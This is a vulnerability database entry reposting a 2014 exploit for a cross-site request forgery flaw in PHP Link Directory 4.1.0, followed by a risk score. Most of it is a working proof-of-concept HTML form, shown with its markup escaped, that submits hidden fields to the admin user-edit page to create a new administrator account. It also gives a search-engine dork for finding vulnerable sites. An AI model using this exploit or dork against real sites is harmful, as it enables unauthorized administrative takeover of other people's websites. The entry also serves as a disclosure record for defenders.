PHP Link Directory 4.1.0 - CSRF Vulnerability (Add Admin)

🗓️ 01 Jul 2014 00:00:00Reported by RootType

PHP Link Directory 4.1.0 CSRF Vulnerability (Add Admin) by AtT4CKxT3rR0r1S


                                                PHP Link Directory v4.1.0 CSRF Vulnerability (Add Admin)
====================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [[email protected]]
.:. Script         : http://www.phplinkdirectory.com/
.:. Dork           : &#34;Powered by: PHP Link Directory&#34;
.:. Gr34T$ T0 [h1ch4m] & [Risky] & [www.Hack-Book.com] 

####################################################################

===[ Exploit ]===
&#60;html&#62;
&#60;head&#62;
&#60;title&#62;PHP Link Directory v4.1.0 [Add Admin]&#60;/title&#62;
&#60;/head&#62;
&#60;H2&#62;CSRF Add Admin By AtT4CKxT3rR0r1ST&#60;/H2&#62;
&#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://localhost/admin/conf_users_edit.php?action=N&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;LOGIN&#34; value=&#34;webmaster&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;NAME&#34; value=&#34;Mohammad Hussien&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;PASSWORD&#34; value=&#34;123456&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;PASSWORDC&#34; value=&#34;123456&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;LANGUAGE&#34; value=&#34;sq&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;EMAIL&#34; value=&#34;[email protected]&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;cemail&#34; value=&#34;1&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;LEVEL&#34; value=&#34;1&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;formSubmitted&#34; value=&#34;1&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;id&#34; value=&#34;&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;exclude_id&#34; value=&#34;&#34;/&#62;
&#60;/form&#62;

&#60;/body&#62;
&#60;/html&#62;
####################################################################

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1